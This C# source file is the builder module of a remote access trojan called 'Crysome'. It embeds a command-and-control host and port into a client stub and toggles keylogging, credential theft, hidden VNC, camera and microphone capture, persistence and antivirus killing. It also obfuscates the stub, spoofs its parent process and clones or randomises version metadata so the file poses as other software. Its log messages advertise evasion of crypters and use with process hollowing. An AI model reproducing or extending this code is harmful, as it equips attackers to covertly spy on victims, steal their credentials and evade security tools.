using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Input;
using Crysome.Obfuscator;
using Microsoft.Win32;
using Vestris.ResourceLib;
using dnlib.DotNet;

namespace Crysome.Server.ViewModel;

public class BuilderViewModel : ViewModelBase
{
	private const string EmbeddedMarker = "##CRYCFG##";

	private const int PaddingChars = 502;

	private const int TotalChars = 512;

	private const byte PaddingByteLow = 1;

	private const byte PaddingByteHigh = 0;

	private string _ip = "127.0.0.1";

	private string _port = "7777";

	private string _group = "";

	private bool _featPersistence;

	private bool _featObfuscate;

	private bool _featCmd = true;

	private bool _featFile = true;

	private bool _featDirectLink = true;

	private bool _featScreenshot = true;

	private bool _featFileMgr = true;

	private bool _featProcess = true;

	private bool _featRestart = true;

	private bool _featProxy = true;

	private bool _featDesktop = true;

	private bool _featHvnc = true;

	private bool _featCredentials = true;

	private bool _featKeylogger = true;

	private bool _featChat = true;

	private bool _featAudio = true;

	private bool _featCamera = true;

	private bool _featSurvival;

	private bool _featAvKiller;

	private bool _featProtect;

	private string _parentSpoof = "None";

	private string _stubPath = "";

	private string _iconPath = "";

	private bool _enableAssemblyEdit;

	private string _asmTitle = "";

	private string _asmDescription = "";

	private string _asmCompany = "";

	private string _asmProduct = "";

	private string _asmCopyright = "";

	private string _asmVersion = "1.0.0.0";

	private readonly MainViewModel _mainVm;

	private static readonly Random _rnd = new Random();

	public string IP
	{
		get
		{
			return _ip;
		}
		set
		{
			_ip = value;
			OnPropertyChanged("IP");
		}
	}

	public string Port
	{
		get
		{
			return _port;
		}
		set
		{
			_port = value;
			OnPropertyChanged("Port");
		}
	}

	public string Group
	{
		get
		{
			return _group;
		}
		set
		{
			_group = value;
			OnPropertyChanged("Group");
		}
	}

	public bool FeatPersistence
	{
		get
		{
			return _featPersistence;
		}
		set
		{
			_featPersistence = value;
			OnPropertyChanged("FeatPersistence");
		}
	}

	public bool FeatObfuscate
	{
		get
		{
			return _featObfuscate;
		}
		set
		{
			_featObfuscate = value;
			OnPropertyChanged("FeatObfuscate");
		}
	}

	public bool FeatCmd
	{
		get
		{
			return _featCmd;
		}
		set
		{
			_featCmd = value;
			OnPropertyChanged("FeatCmd");
		}
	}

	public bool FeatFile
	{
		get
		{
			return _featFile;
		}
		set
		{
			_featFile = value;
			OnPropertyChanged("FeatFile");
		}
	}

	public bool FeatDirectLink
	{
		get
		{
			return _featDirectLink;
		}
		set
		{
			_featDirectLink = value;
			OnPropertyChanged("FeatDirectLink");
		}
	}

	public bool FeatScreenshot
	{
		get
		{
			return _featScreenshot;
		}
		set
		{
			_featScreenshot = value;
			OnPropertyChanged("FeatScreenshot");
		}
	}

	public bool FeatFileMgr
	{
		get
		{
			return _featFileMgr;
		}
		set
		{
			_featFileMgr = value;
			OnPropertyChanged("FeatFileMgr");
		}
	}

	public bool FeatProcess
	{
		get
		{
			return _featProcess;
		}
		set
		{
			_featProcess = value;
			OnPropertyChanged("FeatProcess");
		}
	}

	public bool FeatRestart
	{
		get
		{
			return _featRestart;
		}
		set
		{
			_featRestart = value;
			OnPropertyChanged("FeatRestart");
		}
	}

	public bool FeatProxy
	{
		get
		{
			return _featProxy;
		}
		set
		{
			_featProxy = value;
			OnPropertyChanged("FeatProxy");
		}
	}

	public bool FeatDesktop
	{
		get
		{
			return _featDesktop;
		}
		set
		{
			_featDesktop = value;
			OnPropertyChanged("FeatDesktop");
		}
	}

	public bool FeatHvnc
	{
		get
		{
			return _featHvnc;
		}
		set
		{
			_featHvnc = value;
			OnPropertyChanged("FeatHvnc");
		}
	}

	public bool FeatCredentials
	{
		get
		{
			return _featCredentials;
		}
		set
		{
			_featCredentials = value;
			OnPropertyChanged("FeatCredentials");
		}
	}

	public bool FeatKeylogger
	{
		get
		{
			return _featKeylogger;
		}
		set
		{
			_featKeylogger = value;
			OnPropertyChanged("FeatKeylogger");
		}
	}

	public bool FeatChat
	{
		get
		{
			return _featChat;
		}
		set
		{
			_featChat = value;
			OnPropertyChanged("FeatChat");
		}
	}

	public bool FeatAudio
	{
		get
		{
			return _featAudio;
		}
		set
		{
			_featAudio = value;
			OnPropertyChanged("FeatAudio");
		}
	}

	public bool FeatCamera
	{
		get
		{
			return _featCamera;
		}
		set
		{
			_featCamera = value;
			OnPropertyChanged("FeatCamera");
		}
	}

	public bool FeatSurvival
	{
		get
		{
			return _featSurvival;
		}
		set
		{
			_featSurvival = value;
			OnPropertyChanged("FeatSurvival");
		}
	}

	public bool FeatAvKiller
	{
		get
		{
			return _featAvKiller;
		}
		set
		{
			_featAvKiller = value;
			OnPropertyChanged("FeatAvKiller");
		}
	}

	public bool FeatProtect
	{
		get
		{
			return _featProtect;
		}
		set
		{
			_featProtect = value;
			OnPropertyChanged("FeatProtect");
		}
	}

	public string ParentSpoof
	{
		get
		{
			return _parentSpoof;
		}
		set
		{
			_parentSpoof = value ?? "None";
			OnPropertyChanged("ParentSpoof");
		}
	}

	public ObservableCollection<string> ParentSpoofOptions { get; } = new ObservableCollection<string> { "None", "wininit", "explorer", "svchost" };

	public ObservableCollection<string> BuildLog { get; set; } = new ObservableCollection<string>();

	public ICommand BuildCommand { get; }

	public ICommand BrowseStubCommand { get; }

	public ICommand GoBackCommand { get; }

	public string StubPath
	{
		get
		{
			return _stubPath;
		}
		set
		{
			_stubPath = value;
			OnPropertyChanged("StubPath");
		}
	}

	public string IconPath
	{
		get
		{
			return _iconPath;
		}
		set
		{
			_iconPath = value;
			OnPropertyChanged("IconPath");
		}
	}

	public bool EnableAssemblyEdit
	{
		get
		{
			return _enableAssemblyEdit;
		}
		set
		{
			_enableAssemblyEdit = value;
			OnPropertyChanged("EnableAssemblyEdit");
		}
	}

	public string AsmTitle
	{
		get
		{
			return _asmTitle;
		}
		set
		{
			_asmTitle = value;
			OnPropertyChanged("AsmTitle");
		}
	}

	public string AsmDescription
	{
		get
		{
			return _asmDescription;
		}
		set
		{
			_asmDescription = value;
			OnPropertyChanged("AsmDescription");
		}
	}

	public string AsmCompany
	{
		get
		{
			return _asmCompany;
		}
		set
		{
			_asmCompany = value;
			OnPropertyChanged("AsmCompany");
		}
	}

	public string AsmProduct
	{
		get
		{
			return _asmProduct;
		}
		set
		{
			_asmProduct = value;
			OnPropertyChanged("AsmProduct");
		}
	}

	public string AsmCopyright
	{
		get
		{
			return _asmCopyright;
		}
		set
		{
			_asmCopyright = value;
			OnPropertyChanged("AsmCopyright");
		}
	}

	public string AsmVersion
	{
		get
		{
			return _asmVersion;
		}
		set
		{
			_asmVersion = value;
			OnPropertyChanged("AsmVersion");
		}
	}

	public ICommand BrowseIconCommand { get; }

	public ICommand CloneAssemblyCommand { get; }

	public ICommand RandomizeAssemblyCommand { get; }

	private static string RandomGroupName()
	{
		int count = _rnd.Next(6, 11);
		return "grp_" + new string((from _ in Enumerable.Range(0, count)
			select "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
	}

	public BuilderViewModel(MainViewModel mainVm)
	{
		_mainVm = mainVm;
		Group = RandomGroupName();
		BuildCommand = new RelayCommand<object>(delegate
		{
			DoBuild();
		});
		BrowseStubCommand = new RelayCommand<object>(delegate
		{
			DoBrowseStub();
		});
		BrowseIconCommand = new RelayCommand<object>(delegate
		{
			DoBrowseIcon();
		});
		CloneAssemblyCommand = new RelayCommand<object>(delegate
		{
			DoCloneAssembly();
		});
		RandomizeAssemblyCommand = new RelayCommand<object>(delegate
		{
			DoRandomizeAssembly();
		});
		GoBackCommand = new RelayCommand<object>(delegate
		{
			_mainVm.GoToClients();
		});
		string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Crysome.Client.exe");
		if (File.Exists(text))
		{
			StubPath = text;
		}
	}

	private void DoBrowseStub()
	{
		OpenFileDialog openFileDialog = new OpenFileDialog
		{
			Filter = "Executables|*.exe",
			Title = "Select Crysome.Client.exe"
		};
		if (openFileDialog.ShowDialog() == true)
		{
			StubPath = openFileDialog.FileName;
		}
	}

	private void DoBrowseIcon()
	{
		OpenFileDialog openFileDialog = new OpenFileDialog
		{
			Filter = "Icons|*.ico",
			Title = "Select Icon"
		};
		if (openFileDialog.ShowDialog() == true)
		{
			IconPath = openFileDialog.FileName;
		}
	}

	private void DoCloneAssembly()
	{
		OpenFileDialog openFileDialog = new OpenFileDialog
		{
			Filter = "Executables|*.exe;*.dll",
			Title = "Select Assembly to Clone"
		};
		if (openFileDialog.ShowDialog() == true)
		{
			try
			{
				FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName);
				AsmTitle = versionInfo.FileDescription ?? "";
				AsmDescription = versionInfo.Comments ?? "";
				AsmCompany = versionInfo.CompanyName ?? "";
				AsmProduct = versionInfo.ProductName ?? "";
				AsmCopyright = versionInfo.LegalCopyright ?? "";
				AsmVersion = versionInfo.FileVersion ?? "1.0.0.0";
				EnableAssemblyEdit = true;
				Log("Cloned assembly info from: " + Path.GetFileName(openFileDialog.FileName));
			}
			catch (Exception ex)
			{
				Log("Error cloning assembly: " + ex.Message);
			}
		}
	}

	private void DoRandomizeAssembly()
	{
		AsmTitle = RandomString(8);
		AsmDescription = RandomString(12);
		AsmCompany = RandomString(8);
		AsmProduct = RandomString(8);
		AsmCopyright = "Copyright © " + DateTime.Now.Year + " " + AsmCompany;
		AsmVersion = _rnd.Next(1, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 100);
		EnableAssemblyEdit = true;
		Log("Randomized assembly info.");
	}

	private string RandomString(int len)
	{
		return new string((from s in Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", len)
			select s[_rnd.Next(s.Length)]).ToArray());
	}

	private static int FindBytes(byte[] haystack, byte[] needle, int startIndex = 0)
	{
		int num = haystack.Length - needle.Length;
		for (int i = startIndex; i <= num; i++)
		{
			bool flag = true;
			for (int j = 0; j < needle.Length; j++)
			{
				if (haystack[i + j] != needle[j])
				{
					flag = false;
					break;
				}
			}
			if (flag)
			{
				return i;
			}
		}
		return -1;
	}

	private void DoBuild()
	{
		BuildLog.Clear();
		try
		{
			if (string.IsNullOrWhiteSpace(IP))
			{
				Log("ERROR: IP is empty.");
				return;
			}
			if (!int.TryParse(Port, out var result) || result < 1 || result > 65535)
			{
				Log("ERROR: Port must be 1-65535.");
				return;
			}
			if (string.IsNullOrEmpty(StubPath) || !File.Exists(StubPath))
			{
				Log("ERROR: Select Crysome.Client.exe first.");
				return;
			}
			List<string> list = new List<string>();
			if (FeatCmd)
			{
				list.Add("cmd");
			}
			if (FeatFile)
			{
				list.Add("file");
			}
			if (FeatDirectLink)
			{
				list.Add("direct");
			}
			if (FeatScreenshot)
			{
				list.Add("screen");
			}
			if (FeatFileMgr)
			{
				list.Add("filemgr");
			}
			if (FeatProcess)
			{
				list.Add("proc");
			}
			if (FeatRestart)
			{
				list.Add("restart");
			}
			if (FeatProxy)
			{
				list.Add("proxy");
			}
			if (FeatDesktop)
			{
				list.Add("rdp");
			}
			if (FeatHvnc)
			{
				list.Add("hvnc");
			}
			if (FeatCredentials)
			{
				list.Add("cred");
			}
			if (FeatKeylogger)
			{
				list.Add("keylog");
			}
			if (FeatChat)
			{
				list.Add("chat");
			}
			if (FeatAudio)
			{
				list.Add("audio");
			}
			if (FeatCamera)
			{
				list.Add("cam");
			}
			if (FeatSurvival)
			{
				list.Add("survival");
			}
			if (FeatAvKiller)
			{
				list.Add("avkill");
			}
			if (FeatProtect)
			{
				list.Add("protect");
			}
			string text = ((list.Count >= 18) ? "" : string.Join(",", list));
			string text2 = (ParentSpoof ?? "").Trim().ToLowerInvariant();
			string text3 = ((text2 == "none" || string.IsNullOrEmpty(text2)) ? "" : text2);
			string text4 = "{\"host\":\"" + EscapeJson(IP.Trim()) + "\",\"port\":\"" + result + "\",\"group\":\"" + EscapeJson((Group ?? "").Trim()) + "\",\"persistence\":\"" + (FeatPersistence ? "true" : "false") + "\"" + (string.IsNullOrEmpty(text) ? "" : (",\"feat\":\"" + EscapeJson(text) + "\"")) + (string.IsNullOrEmpty(text3) ? "" : (",\"parent\":\"" + EscapeJson(text3) + "\"")) + "}";
			if (text4.Length > 502)
			{
				Log("ERROR: Config JSON too long (" + text4.Length + " chars, max " + 502 + ").");
				return;
			}
			byte[] bytes = Encoding.Unicode.GetBytes("##CRYCFG##");
			byte[] array = new byte[8];
			for (int i = 0; i < array.Length; i += 2)
			{
				array[i] = 1;
				array[i + 1] = 0;
			}
			byte[] array2 = new byte[bytes.Length + array.Length];
			Array.Copy(bytes, 0, array2, 0, bytes.Length);
			Array.Copy(array, 0, array2, bytes.Length, array.Length);
			string text5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Build.exe");
			string text6 = StubPath;
			if (FeatObfuscate)
			{
				try
				{
					text6 = Path.Combine(Path.GetTempPath(), "crysome_obf_" + Guid.NewGuid().ToString("N") + ".exe");
					Log("Obfuscating stub: " + StubPath);
					CryObfuscator.Obfuscate(StubPath, text6, (Action<string>)Log);
					if (!File.Exists(text6))
					{
						Log("ERROR: Obfuscation produced no output file. Using non-obfuscated stub.");
						text6 = StubPath;
					}
					else
					{
						Log("Obfuscation OK. Patching config into obfuscated file.");
					}
				}
				catch (Exception ex)
				{
					Log("ERROR: Obfuscation failed — " + ex.Message);
					Log("       Using non-obfuscated stub. Build Crysome.Client first, then point Stub to bin\\net472\\Crysome.Client.exe");
					text6 = StubPath;
				}
			}
			byte[] array3 = File.ReadAllBytes(text6);
			if (text6 != StubPath)
			{
				try
				{
					File.Delete(text6);
				}
				catch
				{
				}
			}
			Log("Loaded: " + array3.Length / 1024 + " KB");
			if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath))
			{
				Log("Icon changing requires external library (Vestris.ResourceLib). Skipping for now.");
			}
			if (EnableAssemblyEdit)
			{
				Log("Assembly Info editing requires external library (Vestris.ResourceLib). Skipping for now.");
			}
			int num = FindBytes(array3, array2);
			if (num < 0)
			{
				Log("WARNING: Embedded config placeholder not found. Will append config to tail instead.");
			}
			else
			{
				Log("Placeholder found at offset 0x" + num.ToString("X8"));
				byte[] bytes2 = Encoding.Unicode.GetBytes(text4);
				int num2 = num + bytes.Length;
				int num3 = 1004;
				Array.Copy(bytes2, 0, array3, num2, bytes2.Length);
				for (int j = num2 + bytes2.Length; j < num2 + num3; j++)
				{
					array3[j] = 0;
				}
			}
			File.WriteAllBytes(text5, array3);
			if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath))
			{
				try
				{
					Log("Injecting icon...");
					new IconDirectoryResource(new IconFile(IconPath)).SaveTo(text5);
					Log("Icon injected successfully.");
				}
				catch (Exception ex2)
				{
					Log("Icon injection failed: " + ex2.Message);
				}
			}
			if (EnableAssemblyEdit)
			{
				try
				{
					Log("Updating assembly info (native resources)...");
					VersionResource versionResource = new VersionResource();
					versionResource.LoadFrom(text5);
					StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
					StringTable stringTable = null;
					if (stringFileInfo.Strings.Count > 0)
					{
						stringTable = stringFileInfo.Strings.Values.First();
					}
					else
					{
						stringTable = new StringTable("000004b0");
						stringFileInfo.Strings.Add(stringTable.Key, stringTable);
					}
					SetVer("FileDescription", AsmTitle);
					SetVer("Comments", AsmDescription);
					SetVer("CompanyName", AsmCompany);
					SetVer("ProductName", AsmProduct);
					SetVer("LegalCopyright", AsmCopyright);
					SetVer("FileVersion", AsmVersion);
					SetVer("ProductVersion", AsmVersion);
					SetVer("OriginalFilename", Path.GetFileName(text5));
					SetVer("InternalName", Path.GetFileNameWithoutExtension(text5));
					try
					{
						string[] array4 = AsmVersion.Split('.');
						if (array4.Length >= 4)
						{
							ushort.Parse(array4[0]);
							ushort.Parse(array4[1]);
							ushort.Parse(array4[2]);
							ushort.Parse(array4[3]);
							versionResource.FileVersion = AsmVersion;
							versionResource.ProductVersion = AsmVersion;
						}
					}
					catch (Exception ex3)
					{
						Log("FixedFileInfo update failed: " + ex3.Message);
					}
					versionResource.SaveTo(text5);
					Log("Assembly info (native) updated.");
					void SetVer(string key, string val)
					{
						try
						{
							if (stringTable.Strings.ContainsKey(key))
							{
								stringTable.Strings.Remove(key);
							}
							StringTableEntry value = new StringTableEntry(key)
							{
								Value = val
							};
							stringTable.Strings.Add(key, value);
						}
						catch (Exception ex9)
						{
							Log("SetVer failed for " + key + ": " + ex9.Message);
						}
					}
				}
				catch (Exception ex4)
				{
					Log("Assembly info update failed: " + ex4.Message);
				}
				try
				{
					Log("Updating .NET Assembly Attributes (dnlib)...");
					using ModuleDefMD moduleDefMD = ModuleDefMD.Load(text5);
					AssemblyDef assembly = moduleDefMD.Assembly;
					if (assembly != null)
					{
						assembly.Name = AsmTitle;
						try
						{
							Version version = new Version(AsmVersion);
							assembly.Version = version;
						}
						catch
						{
						}
						moduleDefMD.Write(text5);
						Log(".NET Assembly attributes updated.");
					}
				}
				catch (Exception ex5)
				{
					Log("Warning: .NET attribute update failed or skipped: " + ex5.Message);
				}
			}
			try
			{
				using (FileStream fileStream = new FileStream(text5, FileMode.Append, FileAccess.Write, FileShare.Read))
				{
					string s = "##CRYCONFIG##" + text4;
					byte[] bytes3 = Encoding.UTF8.GetBytes(s);
					fileStream.Write(bytes3, 0, bytes3.Length);
				}
				Log("Tail config appended");
			}
			catch (Exception ex6)
			{
				Log("WARNING: Tail config append failed: " + ex6.Message);
			}
			long length = new FileInfo(text5).Length;
			Log("Config patched inside PE metadata (same file size, no resources)");
			Log("");
			Log("Host: " + IP.Trim());
			Log("Port: " + result);
			Log("Group: " + (Group ?? "").Trim());
			Log("Persistence: " + FeatPersistence);
			Log("Features: " + (string.IsNullOrEmpty(text) ? "all" : text));
			if (!string.IsNullOrEmpty(text3))
			{
				Log("Parent spoof: " + text3 + ".exe");
			}
			Log("");
			Log("BUILD DONE!");
			Log("Output: " + text5);
			try
			{
				string text7 = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Data", "inventory_rules.json");
				string text8 = Path.Combine(Path.GetDirectoryName(text5) ?? "", "inventory_rules.json");
				if (File.Exists(text7) && !string.IsNullOrEmpty(text8))
				{
					File.Copy(text7, text8, overwrite: true);
					Log("inventory_rules.json copied next to client.");
				}
			}
			catch (Exception ex7)
			{
				Log("inventory_rules.json copy: " + ex7.Message);
			}
			Log("Size: " + length / 1024 + " KB");
			Log("");
			Log("Crypt-safe: config is inside PE metadata, not appended or in resources.");
			Log("Works with process hollowing (msbuild, regasm, etc).");
			if (FeatObfuscate)
			{
				Log("Tip: For best obfuscation, use Client built without Costura: dotnet build Crysome.Client -p:ObfuscateBuild=true");
			}
		}
		catch (Exception ex8)
		{
			Log("ERROR: " + ex8.Message);
		}
	}

	private static string EscapeJson(string s)
	{
		if (string.IsNullOrEmpty(s))
		{
			return "";
		}
		return s.Replace("\\", "\\\\").Replace("\"", "\\\"");
	}

	private void Log(string msg)
	{
		BuildLog.Add(string.IsNullOrEmpty(msg) ? "" : ("[" + DateTime.Now.ToString("HH:mm:ss") + "] " + msg));
	}
}
